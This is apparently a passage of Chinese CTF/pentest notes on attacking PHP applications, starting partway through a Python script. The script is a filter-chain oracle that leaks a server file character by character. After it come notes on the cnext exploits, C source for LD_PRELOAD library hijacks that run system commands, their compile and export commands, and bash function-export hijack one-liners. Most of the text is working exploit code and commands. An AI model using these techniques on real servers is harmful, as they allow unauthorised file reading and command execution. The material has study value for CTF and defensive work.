if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')
print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')
print(end=letter)
o += letter
sys.stdout.flush()
"""
We are done!! :)
"""
print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))
pwn php
只要能识别解析filter chain的函数都可以打,对操作系统内核有要求,挺通杀的。
cnext-exploits
putenv可控,执行一段命令
这个和php无关,但是有可能出php这种题目。
当目标存在putenv ,并且执行一个命令时,可以上传一个so劫持LD_PRELOAD。
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
//创建新函数new_puts
int (*new_puts)(const char *message);
int result;
//把原函数指针赋值给new_puts
new_puts = dlsym(RTLD_NEXT, "puts");
system("touch /tmp/pwned");
//调用新函数
result = new_puts(message);
return result;
}
编译
//-ldl参数是必须的,原因是使用了dlsym对puts进行了重写
gcc -shared -fPIC -o payload.so -D_GNU_SOURCE -ldl payload.c
//添加LD_PRELOAD环境变量
export LD_PRELOAD=/tmp/payload.so
or:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
__uid_t geteuid(void) {
static int in_hook = 0; // 防止递归调用
if (in_hook) {
return -1;
}
in_hook = 1;
__uid_t (*original_geteuid)(void);
original_geteuid = dlsym(RTLD_NEXT, "geteuid");
if (!original_geteuid) {
fprintf(stderr, "Error: dlsym failed\n");
exit(1);
}
system("touch /tmp/pwned");
__uid_t result = original_geteuid();
in_hook = 0;
return result;
}
还有一种方法是bash劫持:
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'